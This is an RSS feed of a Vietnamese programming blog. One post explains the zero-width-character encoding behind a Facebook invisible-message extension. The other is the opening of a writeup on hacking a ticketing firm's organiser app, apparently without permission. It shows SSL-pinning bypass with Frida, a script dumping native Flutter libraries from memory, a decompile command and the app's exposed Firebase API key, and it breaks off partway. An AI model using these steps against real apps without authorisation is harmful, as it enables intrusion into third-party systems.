<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[T-Rekt's Blog]]></title><description><![CDATA[T-Rekt's Blog]]></description><link>https://thao.pw</link><generator>RSS for Node</generator><lastBuildDate>Mon, 20 Apr 2026 21:54:06 GMT</lastBuildDate><atom:link href="https://thao.pw/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA["Giải mã" extension viết tin nhắn tàng hình trên Facebook]]></title><description><![CDATA[Gần đây khi mình đăng tải extension "Invisible Message for Facebook™" cho phép nhắn tin mã hoá và tàng hình trên Facebook, thì có được khá nhiều bạn quan tâm. Một số bạn thắc mắc tại sao mình lại làm extension viết tin nhắn tàng hình, và tại sao lại ...]]></description><link>https://thao.pw/giai-ma-extension-viet-tin-nhan-tang-hinh-tren-facebook</link><guid isPermaLink="true">https://thao.pw/giai-ma-extension-viet-tin-nhan-tang-hinh-tren-facebook</guid><category><![CDATA[chrome extension]]></category><category><![CDATA[Facebook]]></category><category><![CDATA[Programming Blogs]]></category><dc:creator><![CDATA[T-Rekt]]></dc:creator><pubDate>Sat, 07 Feb 2026 20:54:10 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1770497820151/223821d8-faf1-4703-9771-1cb7578e10ef.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Gần đây khi mình đăng tải extension <a target="_blank" href="https://chromewebstore.google.com/detail/invisible-message-for-fac/empjnidngammlboilmapcabkfdidnojh">"Invisible Message for Facebook™"</a> cho phép nhắn tin mã hoá và tàng hình trên Facebook, thì có được khá nhiều bạn quan tâm. Một số bạn thắc mắc tại sao mình lại làm extension viết tin nhắn tàng hình, và tại sao lại là cho Facebook. Vì vậy mình viết bài viết này để giải thích quá trình mình nghiên cứu ra extension này và các kĩ thuật được mình áp dụng để tạo ra nó.</p>
<h1 id="heading-react-hooking">React hooking</h1>
<p>Đầu tiên, lý do mà mình nghiên cứu kĩ thuật để tương tác với tin nhắn của Facebook là vì trước đây mình có thấy vài extension sử dụng kĩ thuật hooking vào các module được define bằng AMD (Async Module Definition) của Facebook. Các kiến thức đó được mình nghiên cứu để viết thành bài blog <a target="_blank" href="https://thao.pw/modding-facebook">Modding Facebook website [Phần 1]</a> đồng thời áp dụng để chỉnh sửa một số tính năng cho Facebook. Với mình thì đây là một kĩ thuật rất đỉnh vì nó giúp mình có thể viết hooking để modding các tính năng cho Facebook chỉ với 30-50 dòng code mà vẫn có thể đạt được độ ổn định rất cao trong thời gian dài.</p>
<p>Điển hình là nếu xem commit history của userscript [Invisible Message](<a target="_blank" href="https://github.com/t-rekttt/invisible_message">https://github.com/t-rekttt/invisible_message</a>) chính là phiên bản sơ khai của extension tin nhắn tàng hình, có thể thấy nó đã hoạt động được từ năm 2021 - 2023 mà không cần chỉnh sửa gì, có thể nói là một khoảng thời gian rất dài.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1770489623861/77c08613-ecd3-4a48-9e37-b55a6abe5235.png" alt class="image--center mx-auto" /></p>
<p>Tuy nhiên kĩ thuật này cũng rất khó vì không phải component nào trong React cũng có thể patch để ghi đè tính năng được, vì vậy có khi Facebook thay đổi gì trong cái component mình đang sử dụng cái là tịt. Ngoài ra mình nghĩ trong tương lai nếu Facebook không thích cách mình đang hooking vào mấy component này thì họ có thể sửa lại mấy component đó cho không patch được nữa sẽ khiến đống code của mình tèo hết luôn, khá là rủi ro. Ví dụ như khi Facebook cập nhật giao diện và loại bỏ component cũ đi khiến cho userscript Invisible Message nói trên chết ngắc, mình đã phải archive nó tới 2026 mới khôi phục lại được tính năng (trước đó mình còn tưởng là hết cứu luôn rồi :( ). Có thể nói kĩ thuật React hookingnày là “high risk, high reward”, sử dụng kĩ thuật này thì những dòng code viết ra luôn rất ngắn gọn mĩ miều, có thể nói là dát vàng con mắt :v.</p>
<p>Để mà nói về độ mĩ miều của nó thì đây là đoạn code mình dùng để chỉnh sửa (mã hoá/giải mã) nội dung tin nhắn đi và đến trong userscript, cả đoạn code chỉ dài 37 dòng:</p>
<pre><code class="lang-javascript">requireLazy(
    [<span class="hljs-string">"MWUnvaultedText"</span>, <span class="hljs-string">"MAWSecureComposerText"</span>, <span class="hljs-string">"LexicalText"</span>],
    <span class="hljs-function">(<span class="hljs-params">MWUnvaultedText, MAWSecureComposerText, LexicalText</span>) =&gt;</span> {
      <span class="hljs-keyword">const</span> LexicalTextRootTextContentOrig = LexicalText.$rootTextContent;

      LexicalText.$rootTextContent = <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) </span>{
        <span class="hljs-keyword">return</span> patch(LexicalTextRootTextContentOrig.apply(<span class="hljs-built_in">this</span>, <span class="hljs-built_in">arguments</span>));
      }

      <span class="hljs-keyword">const</span> getTextFromEditorStateOrig = MAWSecureComposerText.getTextFromEditorState;

      MAWSecureComposerText.getTextFromEditorState = <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) </span>{
        <span class="hljs-comment">// console.log({ editorState });</span>

        <span class="hljs-keyword">return</span> patch(getTextFromEditorStateOrig.apply(<span class="hljs-built_in">this</span>, <span class="hljs-built_in">arguments</span>));
      }

      <span class="hljs-comment">//   console.log({ MWUnvaultedText, MAWSecureComposerText });</span>

      <span class="hljs-keyword">const</span> useMWUnvaultedTextOrig = MWUnvaultedText.useMWUnvaultedText;

      MWUnvaultedText.useMWUnvaultedText = <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">isSecure, vaultedText</span>) </span>{
        <span class="hljs-keyword">let</span> text = useMWUnvaultedTextOrig(isSecure, vaultedText);

        <span class="hljs-keyword">if</span> (checkEncode(text)) {
          <span class="hljs-keyword">try</span> {
            text = <span class="hljs-string">`Encrypted message: <span class="hljs-subst">${text.replace(encodedPattern, <span class="hljs-string">`&gt;<span class="hljs-subst">${decode(text)}</span>&lt;`</span>)}</span>`</span>;
          } <span class="hljs-keyword">catch</span> (err) {
            <span class="hljs-built_in">console</span>.log(err);
          }
        }

        <span class="hljs-comment">// console.log({ text });</span>
        <span class="hljs-keyword">return</span> text;
      };
    }
  );
</code></pre>
<h1 id="heading-ki-tu-tang-hinh">Kí tự tàng hình</h1>
<p>Nhiều năm trở trước, có 1 trang web rút gọn link nổi lên với khả năng tạo ra các đoạn link rút gọn sử dụng các kí tự “tàng hình”. Trang web đó chính là <a target="_blank" href="https://zws.im/">https://zws.im/</a> - <strong>Zero Width Shortener</strong>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1770490492286/082bb05d-1184-4014-b4a4-2f056ce8457d.png" alt class="image--center mx-auto" /></p>
<p>Đặc điểm của trang web này đấy là khi bạn rút gọn một đường link bất kì, nó sẽ tạo ra đường dẫn <a target="_blank" href="https://zws.im/%E2%80%8C%F3%A0%81%AE%F3%A0%81%A1%F3%A0%81%B3%F3%A0%81%A1%F3%A0%81%AC%F3%A0%81%B3">https://zws.im/‌󠁮󠁡󠁳󠁡󠁬󠁳</a>, trông chẳng khác gì đường link dẫn đến trang chủ của ZWS. Tuy nhiên khi bạn click vào đường link này thì nó sẽ dẫn bạn tới đúng trang web mà người tạo link trỏ tới. Lý do là vì nó đã sử dụng một bảng gồm toàn các kí tự “Zero Width Character” - “Kí tự có chiều rộng bằng không”. Những kí tự này không hiển thị lên nên không thể nhìn thấy bằng mắt thường, tuy nhiên vẫn sẽ được máy tính “nhìn thấy” và xử lý. Mình có tìm thấy bài viết <a target="_blank" href="https://viblo.asia/p/ky-tu-zero-width-sat-thu-vo-hinh-nam-giua-doan-van-ban-thuan-vo-hai-L4x5xM7qKBM">Ký tự zero-width - "sát thủ" vô hình nằm giữa đoạn văn bản thuần vô hại</a> giải thích về ZWC rất hay, mọi người có thể đọc để hiểu thêm về kĩ thuật này.</p>
<p>Trong lúc viết bài blog này, mình có ngồi đọc lại xem ngày xưa đã tham khảo của ZWS cái gì, nhưng có vẻ như là mình chỉ tham khảo cái bảng kí tự tàng hình này thôi:</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> CHARS = [
    <span class="hljs-comment">// "\u200d",</span>
    <span class="hljs-comment">// "\u{e0061}",</span>
    <span class="hljs-string">"\u{e0062}"</span>,
    <span class="hljs-string">"\u{e0063}"</span>,
    <span class="hljs-string">"\u{e0064}"</span>,
    <span class="hljs-string">"\u{e0065}"</span>,
    <span class="hljs-string">"\u{e0066}"</span>,
    <span class="hljs-string">"\u{e0067}"</span>,
    <span class="hljs-string">"\u{e0068}"</span>,
    <span class="hljs-string">"\u{e0069}"</span>,
    <span class="hljs-string">"\u{e006a}"</span>,
    <span class="hljs-string">"\u{e006b}"</span>,
    <span class="hljs-string">"\u{e006c}"</span>,
    <span class="hljs-string">"\u{e006d}"</span>,
    <span class="hljs-string">"\u{e006e}"</span>,
    <span class="hljs-string">"\u{e006f}"</span>,
    <span class="hljs-string">"\u{e0070}"</span>,
    <span class="hljs-string">"\u{e0071}"</span>,
    <span class="hljs-string">"\u{e0072}"</span>,
    <span class="hljs-string">"\u{e0073}"</span>,
    <span class="hljs-string">"\u{e0074}"</span>,
    <span class="hljs-string">"\u{e0075}"</span>,
    <span class="hljs-string">"\u{e0076}"</span>,
    <span class="hljs-string">"\u{e0077}"</span>,
    <span class="hljs-string">"\u{e0078}"</span>,
    <span class="hljs-string">"\u{e0079}"</span>,
    <span class="hljs-string">"\u{e007a}"</span>,
    <span class="hljs-string">"\u{e007f}"</span>,
  ];
</code></pre>
<h1 id="heading-chuyen-doi-co-so">Chuyển đổi cơ số</h1>
<p>“Chuyển đổi cơ số” là một trong những thuật toán cơ bản mình được học khi lập trình. Cơ bản nhất là đổi từ hệ thập phân sang nhị phân như bức ảnh dưới đây (có lẽ đây là hình ảnh đã ám ảnh nhiều bạn học sinh, sinh viên thời còn đi học :D). Bạn có thể đọc về thuật toán này tại [đây](<a target="_blank" href="https://codedream.edu.vn/chuyen-doi-he-co-so/">https://codedream.edu.vn/chuyen-doi-he-co-so/</a>).</p>
<p><img src="https://codedream.edu.vn/wp-content/uploads/2023/11/hinh-anh_2023-11-30_230002142.png" alt class="image--center mx-auto" /></p>
<p>Lý do mà mình cần dùng tới thuật toán này đó là vì số lượng kí tự tàng hình có hạn, vì vậy cần phải đổi ra hệ cơ số tương ứng với số lượng kí tự tàng hình để có thể biểu diễn hết các kí tự trong bảng Unicode. Thực tế chỉ cần sử dụng 2 kí tự tàng hình là đủ, tuy nhiên càng sử dụng ít kí tự thì đoạn văn bản sau khi mã hoá sẽ càng dài. Vì vậy mình sử dụng bảng chữ cái ZWC với 26 kí tự để tối ưu độ dài văn bản khi mã hoá. Về lý thuyết thì hệ Unicode có 1.114.112 khả năng cho mỗi code point (một kí tự hiển thị có thể có nhiều code point, ví dụ như các emoji), do vậy khi đổi mỗi code point ra bảng ZWC thì tương đương với đổi từ hệ cơ số 1.114.112 về hệ cơ số 26.</p>
<p>Dưới đây là bảng quy đổi độ dài (tăng lên bao nhiêu lần) khi đổi từ Unicode sang bảng ZWC có b kí tự từ 2 - 26:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1770494788887/bdf61248-9904-4c27-a2ec-e09ae0ad596f.png" alt="Minh hoạ độ dài khi đổi biểu diễn từ hệ 1114112 sang hệ b" class="image--center mx-auto" /></p>
<p>Như vậy với 26 kí tự thì xâu sau khi mã hoá của mình sẽ dài gấp khoảng 4 lần xâu ban đầu.</p>
<p>Code của thuật toán đổi cơ số này cũng giống chính là dựa trên việc chia lấy phần nguyên và phần dư, hệt như việc đổi số thập phân ra một hệ cơ số bất kì (do trên lý thuyết thì là hệ cơ số 1.114.112 nhưng Unicode code point thì vốn đã được biểu diễn ở dạng thập phân).</p>
<p>Dưới đây là đoạn code mình viết để đổi 1 code point ra biểu diễn cơ số BASE với độ dài cố định là LEN</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> UNICODE_CHARS = <span class="hljs-number">1114112</span>;
<span class="hljs-keyword">const</span> BASE = CHARS.length;
<span class="hljs-keyword">const</span> LEN = lenCalc(BASE, UNICODE_CHARS);

<span class="hljs-keyword">const</span> charConvert = <span class="hljs-function">(<span class="hljs-params">char</span>) =&gt;</span> {
  <span class="hljs-keyword">let</span> charCode = char.codePointAt(<span class="hljs-number">0</span>);
  <span class="hljs-keyword">let</span> arr = [];

  <span class="hljs-keyword">while</span> (charCode &gt; <span class="hljs-number">0</span>) {
    arr.push(charCode % BASE);
    charCode = ~~(charCode / BASE);
  }

  <span class="hljs-keyword">while</span> (arr.length &lt; LEN) {
    arr.push(<span class="hljs-number">0</span>);
  }

  <span class="hljs-keyword">return</span> arr.reverse();
};
</code></pre>
<p>Đoạn code này dùng để chuyển đổi biểu diễn cơ số đã quy đổi thành các kí tự tàng hình, nếu mà đổi với bảng Alphabet thì nó tương tự như đổi số (1, 2, 3,…) thành (a, b, c,…) vậy:</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> charEncode = <span class="hljs-function">(<span class="hljs-params">convertedChar</span>) =&gt;</span> {
  <span class="hljs-keyword">return</span> convertedChar.reduce(<span class="hljs-function">(<span class="hljs-params">curr, digit</span>) =&gt;</span> curr + CHARS[digit], <span class="hljs-string">""</span>);
};
</code></pre>
<p>Sau khi đã có các hàm để đổi code point ra kí tự tàng hình rồi thì mình tiếp tục viết hàm để chuyển đổi cả xâu kí tự thành tàng hình:</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> encode = <span class="hljs-function">(<span class="hljs-params">s</span>) =&gt;</span> {
  <span class="hljs-keyword">let</span> converted = [];

  <span class="hljs-keyword">for</span> (<span class="hljs-keyword">let</span> c <span class="hljs-keyword">of</span> s) {
    converted.push(charConvert(c));
  }

  <span class="hljs-keyword">let</span> res = converted.map(charEncode);

  <span class="hljs-comment">// Dùng 2 kí tự PADDING_START và PADDING_END để đánh dấu chỗ mình mã hoá</span>
  <span class="hljs-keyword">return</span> PADDING_START + res.join(<span class="hljs-string">""</span>) + PADDING_END;
};
</code></pre>
<p>Tương tự, ta có hàm để giải mã từng kí tự tàng hình thành kí tự ban đầu:</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// Mapping ngược bảng chữ cái</span>
<span class="hljs-keyword">const</span> CHARS_MAP = CHARS.reduce(<span class="hljs-function">(<span class="hljs-params">curr, val, i</span>) =&gt;</span> {
  curr[val] = i;

  <span class="hljs-keyword">return</span> curr;
}, {});

<span class="hljs-comment">// Giải mã kí tự</span>
<span class="hljs-keyword">const</span> decodeChar = <span class="hljs-function">(<span class="hljs-params">encodedChar</span>) =&gt;</span> {
  encodedChar = encodedChar.reverse();

  <span class="hljs-keyword">let</span> curr = <span class="hljs-number">1</span>;
  <span class="hljs-keyword">let</span> charCode = <span class="hljs-number">0</span>;

  <span class="hljs-keyword">for</span> (<span class="hljs-keyword">let</span> digit <span class="hljs-keyword">of</span> encodedChar) {
    charCode += digit * curr;
    curr *= BASE;
  }

  <span class="hljs-keyword">return</span> <span class="hljs-built_in">String</span>.fromCodePoint(charCode);
};
</code></pre>
<p>Và hàm giải mã xâu đã mã hoá thành xâu ban đầu:</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> decode = <span class="hljs-function">(<span class="hljs-params">s</span>) =&gt;</span> {
  s = encodedPattern.exec(s)[<span class="hljs-number">1</span>];

  <span class="hljs-keyword">let</span> curr = [];
  <span class="hljs-keyword">let</span> res = <span class="hljs-string">""</span>;

  <span class="hljs-keyword">for</span> (<span class="hljs-keyword">let</span> c <span class="hljs-keyword">of</span> s) {
    curr.push(CHARS_MAP[c]);

    <span class="hljs-keyword">if</span> (curr.length &gt;= LEN) {
      res += decodeChar(curr);
      curr = [];
    }
  }

  <span class="hljs-keyword">return</span> res;
};
</code></pre>
<h1 id="heading-ket-hop-lai">Kết hợp lại</h1>
<p>Từ những kĩ thuật ở trên, mình đã có đủ 3 mảnh ghép để tạo nên một tính năng/userscript/extension “độc lạ”, một kĩ thuật lấy nhiều kĩ thuật khác làm nền tảng. Đó là lý do tại sao ban đầu mình dừng lại ở việc chia sẻ 1 userscript mã nguồn mở trên Github. Nó không dễ để sử dụng, nhưng những người sử dụng được thì khả năng họ có thể ngồi đọc, hiểu và “chiêm ngưỡng” nó cũng cao hơn. Một bức tranh trừu tượng với người này là kiệt tác, với người khác có khi chỉ là tấm giấy vẽ nguệch ngoạc :v.</p>
<h1 id="heading-mo-rong-ra">“Mở rộng ra”</h1>
<p>Làm userscript là một chuyện, viết “tiện ích mở rộng” (extension) lại là chuyện khác. Nếu bạn từng làm extension đăng tải lên Chrome store thì có lẽ sẽ hiểu từ việc khai báo permissions để inject các đoạn code tới việc chuẩn bị các tài nguyên (mô tả, logo) nó khá là mệt mỏi. Do niềm vui từ việc hồi sinh được 1 kiệt tác từ cõi chết cộng với việc có Claude Code hỗ trợ nên mình mới có thể dành thời gian để biến nó thành một extension thực sự và đẩy lên Chrome store:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1770496854029/16b63e82-42e9-4380-835f-8c1547018c04.png" alt class="image--center mx-auto" /></p>
<p>Và cũng vì vậy đùng một cái khi mình đăng bài lên J2TEAM Community để quảng bá cho extension, nhiều người tuy thấy hay nhưng không hiểu mục đích của cái extension này là gì :v. Mong rằng sau khi mọi người đọc bài blog này thì sẽ hiểu rằng nó là công cụ mài đao giũa kiếm của mình (chứ không phải trốn vợ đi uống bia như ông anh J nào đó quảng bá nhé :) ), thời gian tới nếu mọi người thấy mình ra một lô extension khác thì khả năng cao nó đều bắt nguồn từ một kĩ thuật này của mình thôi, cái gì ngon thì phải vắt nó cực khô chứ :3.</p>
<p>Sau khi đăng tải version đầu tiên thì cũng có ý kiến góp ý là nếu như chỉ là encoding/decoding kiểu steganography thì bất cứ ai cài extension vào cũng có thể xem được:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1770497202072/02b80619-ac4e-4c48-a93b-175127a3e9ec.png" alt class="image--center mx-auto" /></p>
<p>Mình nghĩ lại thấy cũng đúng, vì nếu làm 1 extension mã hoá kiểu giả cầy lừa trẻ con thôi thì nó cũng không nói lên được mục đích gì. Vì vậy mình đã cập nhật thêm cho nó tính năng ẩn tin nhắn sử dụng mã hoá thật và chỉ hiện ra khi nhập đúng mã pin:</p>
<p><img src="https://scontent.fhan2-4.fna.fbcdn.net/v/t39.30808-6/619553743_4161020224226731_3667283143976738693_n.jpg?_nc_cat=100&amp;ccb=1-7&amp;_nc_sid=aa7b47&amp;_nc_ohc=sCwnxxchKgMQ7kNvwHMbRPu&amp;_nc_oc=AdmfGlr0lrZxJsJ1w8F0bWUdPITC3LOmVMGqdRz8cRlE0b5elmBdMVVr72_JfRqXNvxpVrc7aWKPyptCYgpv6lE-&amp;_nc_zt=23&amp;_nc_ht=scontent.fhan2-4.fna&amp;_nc_gid=-k0YB3crARYLkOi8js59Ww&amp;oh=00_AfuWReEMZUhYIIWB-fv0kCxVQnmGAlVtOSyaCOQ9SRh6ug&amp;oe=698D9296" alt="May be a graphic of phone and text that says 'Invisible Message for Facebook TM Version 1.1.0 8 LOCKED 1234 SET 8 LOCKED 5678 f Việt Thảo 8 LOCKED SET ENTER PIN (4+ Việt ViệtThảo SET 12-36 Việt Thào Learn A 12-36 Encrypted message: Đoan bình thường Đoạn annay nhập 1234c Đoạn ็ bình thuởng hiên thị Đoạnt nhân nihân bình thưởng hie thi Encrypted mossage: ีดอูก tinnhânnà ayhienthi binh &gt;Nhập ass 5678 thây Đoan tin nhắn này hiển binh thưởng Đoan này hiển 2 Mã pin 1234 Mã pin 5678 Khi Khitắt tắt mã pin'" /></p>
<p>Mặc dù với mã pin 4 số thì vẫn khá yếu, kể cả mã hoá thì cũng bruteforce được, tuy nhiên với những mã pin dài khoảng 11-12 kí tự thì có lẽ là có thể yên tâm.</p>
<p>Viết tới đây thì cũng gọi là hòm hòm rồi, mong mọi người đọc xong sẽ hiểu quá trình mình nghiên cứu và kết hợp các ý tưởng ngẫu nhiên tưởng chừng không liên quan tới nhau như thế nào. Nếu quan tâm tới các hoạt động của mình thì cho mình xin 1 follow <a target="_blank" href="https://github.com/t-rekttt">Github</a> nhé hẹ hẹ :)).</p>
]]></content:encoded></item><item><title><![CDATA[Mình lại hack một hệ thống bán vé]]></title><description><![CDATA[Với những ai đã theo dõi J2TEAM từ lâu thì có lẽ mọi người sẽ còn nhớ bài viết “debut” (ra mắt) đầu tiên của mình với J2TEAM đó là hacking một hệ thống X. X là một hệ thống bán vé.
Sau writeup về X thì mình có viết writeup về hệ thống Y với bug vô hạ...]]></description><link>https://thao.pw/minh-lai-hack-mot-he-thong-ban-ve</link><guid isPermaLink="true">https://thao.pw/minh-lai-hack-mot-he-thong-ban-ve</guid><category><![CDATA[hacking]]></category><category><![CDATA[ticketing]]></category><dc:creator><![CDATA[T-Rekt]]></dc:creator><pubDate>Wed, 24 Dec 2025 11:49:52 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1766576542759/4ee48f88-751f-4903-88cd-2e1f9515f49b.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Với những ai đã theo dõi J2TEAM từ lâu thì có lẽ mọi người sẽ còn nhớ bài viết “debut” (ra mắt) đầu tiên của mình với J2TEAM đó là <a target="_blank" href="https://www.junookyo.com/2016/10/ro-ri-3-trieu-thong-tin-ca-nhan.html">hacking một hệ thống X</a>. X là một hệ thống bán vé.</p>
<p>Sau writeup về X thì mình có viết writeup về <a target="_blank" href="https://t-rekt.blogspot.com/2018/05/hack-tien-ien-thoai-chi-trong-mot-not.html">hệ thống Y</a> với bug vô hạn tiền. Rất tiếc là sau Y thì có một vài bài writeup khác đã bay màu cùng với blog cũ của mình viết trên nền tảng Ghost do quên không gia hạn server =((.</p>
<p>Sau một khoảng thời gian mai danh ẩn tích khá lâu thì mình đấm được Z. Z - một hệ thống bán vé khác. Có lẽ bằng một cách nào đó thì mình có duyên nhìn vào “khu vé” ra bug 🤫.</p>
<h1 id="heading-diem-bat-dau-starting-point">Điểm bắt đầu - Starting point</h1>
<p>Mỗi hệ thống bán vé thường họ sẽ tách nghiệp vụ ra thành các phần:</p>
<ul>
<li><p>Phần app/web booking cho khách hàng gồm các tính năng như chọn show, vào hàng chờ (queue), chọn zone/chỗ, giữ chỗ, thanh toán, lấy mã vé…</p>
</li>
<li><p>Phần dashboard quản lý dành cho bên tổ chức sự kiện gồm các tính năng như tạo sự kiện, quét vé, check-in, đổi quà, xem doanh thu,…</p>
</li>
<li><p>Dashboard quản lý dành cho admin của hệ thống bán vé để quản lý sự kiện, cấp tài khoản cho ban tổ chức,…</p>
</li>
</ul>
<p>Thường mình pentest dạo nên quan tâm tới các bug về phân quyền như IDOR, unauthorized access hơn là những bug kĩ thuật như SQL injection, XSS, RCE…Với hệ thống của Z, mình đã xem thử web nhưng chưa thấy vấn đề gì, vì vậy nên mình quyết định đấm app mobile của Z. Đây là một ngách mà mình vẫn thường làm khi research, vì các bên họ làm app mobile cũng thường lỏng lẻo hơn do ít bị pentester nhòm ngó.</p>
<p>Với Z thì họ không có mobile cho nghiệp vụ đặt vé, chỉ có app cho bên tổ chức sự kiện, nên mình không có lựa chọn nào khác ngoài nghiên cứu app này.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766576722258/580c6175-37b0-43bf-91c7-6a047c258e7b.jpeg" alt class="image--center mx-auto" /></p>
<h1 id="heading-chuan-bi">Chuẩn bị</h1>
<h2 id="heading-dich-nguoc-reverse-engineering">Dịch ngược - Reverse engineering</h2>
<p>Sau khi tải app về và mở lên thì mình được một giao diện như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766730137889/29569e00-3f5c-480e-adce-00593d3bd288.jpeg" alt class="image--center mx-auto" /></p>
<p>Như thường lệ khi nghiên cứu ap Android thì mình dùng frida để hook vào, bypass SSL pinning để xem app gửi gì lên server. Script hooking mình dùng ở <a target="_blank" href="https://codeshare.frida.re/@akabe1/frida-multiple-unpinning/">đây</a></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766563238550/6acab5db-b2ab-4372-a5d4-1c307416c796.jpeg" alt class="image--center mx-auto" /></p>
<p>Thử login phát</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766730145623/1467274c-7eee-4513-94f2-39bd045a4045.jpeg" alt class="image--center mx-auto" /></p>
<p>Ta bắt được request</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766563830152/db12cf45-8664-49e3-bec8-780fb6e46616.jpeg" alt class="image--center mx-auto" /></p>
<p>Và response</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766563849850/59c03db3-855f-43b1-8796-52d229962213.png" alt class="image--center mx-auto" /></p>
<p>Lúc này thì mình đã biết app sử dụng <a target="_blank" href="https://docs.cloud.google.com/identity-platform/docs/reference/rest">Google Identity Toolkit</a> và <a target="_blank" href="https://firebase.google.com/docs/firestore">Firestore</a>, kèm với trong request đã có API key là <code>AIzaSyAwI5x7pxck6Eandouo_O72ft-VgJdXpf4</code>. Tuy nhiên vì ở đây chỉ có mỗi màn hình login mà mình lại không có account nên không truy cập được thêm tính năng nào khác để nghiên cứu.</p>
<p>Vì vậy nên mình dùng <a target="_blank" href="https://github.com/skylot/jadx">jadx-gui</a> để decompile apk của app.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766564251007/d7b784f0-d123-4546-8da5-b685fa6d68b6.jpeg" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766564344282/bf8926ab-a4f1-4ed0-8531-a6243fc24237.jpeg" alt class="image--center mx-auto" /></p>
<p>Sau khi xem qua vài class và không thấy có gì thú vị thì mình biết đây là một con app Flutter. Với Flutter thì code của app sẽ được pack thành Dart code nằm trong thư viện native library <code>libapp.so</code>.</p>
<p>Vì gần đây cũng có đấm qua vài con app Flutter nên mình quyết định sẽ extract và decompile thư viện này ra để xem nó xử lý ra sao dưới native lib.</p>
<p>Mình sử dụng đoạn code sau để dump file <code>libapp.so</code> và <code>libflutter.so</code>, 2 file này bắt buộc phải có để có thể decompile được.</p>
<pre><code class="lang-javascript">Java.perform(<span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) </span>{
    <span class="hljs-keyword">let</span> app_path = <span class="hljs-string">'/data/data/&lt;package&gt;'</span>;

    <span class="hljs-keyword">var</span> lib = Process.findModuleByName(<span class="hljs-string">'libapp.so'</span>);
    <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`    <span class="hljs-subst">${lib.base}</span> - <span class="hljs-subst">${lib.base.add(ptr(lib.size))}</span> / size: <span class="hljs-subst">${lib.size}</span>`</span>)
    Memory.protect(ptr(lib.base), lib.size, <span class="hljs-string">'rwx'</span>);
    <span class="hljs-keyword">var</span> dump = <span class="hljs-keyword">new</span> File(<span class="hljs-string">`<span class="hljs-subst">${app_path}</span>/files/dump_libapp.so`</span>, <span class="hljs-string">"wb"</span>)
    <span class="hljs-keyword">var</span> lib_buffer = lib.base.readByteArray(lib.size)
    dump.write(lib_buffer)
    dump.close()

    <span class="hljs-keyword">var</span> lib = Process.findModuleByName(<span class="hljs-string">'libflutter.so'</span>);
    <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`    <span class="hljs-subst">${lib.base}</span> - <span class="hljs-subst">${lib.base.add(ptr(lib.size))}</span> / size: <span class="hljs-subst">${lib.size}</span>`</span>)
    Memory.protect(ptr(lib.base), lib.size, <span class="hljs-string">'rwx'</span>);
    <span class="hljs-keyword">var</span> dump = <span class="hljs-keyword">new</span> File(<span class="hljs-string">`<span class="hljs-subst">${app_path}</span>/files/dump_libflutter.so`</span>, <span class="hljs-string">"wb"</span>)
    <span class="hljs-keyword">var</span> lib_buffer = lib.base.readByteArray(lib.size)
    dump.write(lib_buffer)
    dump.close()
});
</code></pre>
<p>Sau đó mình sử dụng <a target="_blank" href="https://github.com/worawit/blutter">Blutter</a> để decompile 2 thư viện này ra thành Dart code</p>
<pre><code class="lang-bash">python3 ./blutter.py /&lt;path-to-package&gt;/lib/arm64-v8a /&lt;path-to-package&gt;/extracted-lib --rebuild
</code></pre>
<p>Mình được một cấu trúc thư mục khá đồ sộ chứa toàn bộ logic xử lý của app, mỗi tội là nó ở dạng như kiểu Assembly. Tới đây nếu mà mình trình bày làm sao để reverse đống ASM này và tìm ra lỗ hổng thì có lẽ bạn đọc sẽ ngủ gật giữa chừng mất. Vì vậy nên mình sẽ trình bày một hướng giải quyết khác :v.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766577367342/8753a752-789d-493a-9123-e5da22c32723.jpeg" alt class="image--center mx-auto" /></p>
<h2 id="heading-ai-to-the-rescue">AI to the rescue</h2>
<p>Tới bước này thì trong đầu mình nghĩ ra ngay một giải pháp, đấy là dùng LLM để cho nó đọc hiểu đống code này và implement lại bằng Python cho mình. Tất nhiên là mình có xem qua xem phần xử lý tính năng ở đâu rồi mới bảo AI đọc hiểu và code lại từ đó ra, đồng thời đưa thêm thông tin cho LLM trong quá trình xử lý, chứ với context giới hạn thì nó không thể nào tự đọc hết đống ASM đấy rồi tự code được. Mình sử dụng Claude 4.5 Sonnet, model đọc và code ngon nhất hiện tại.</p>
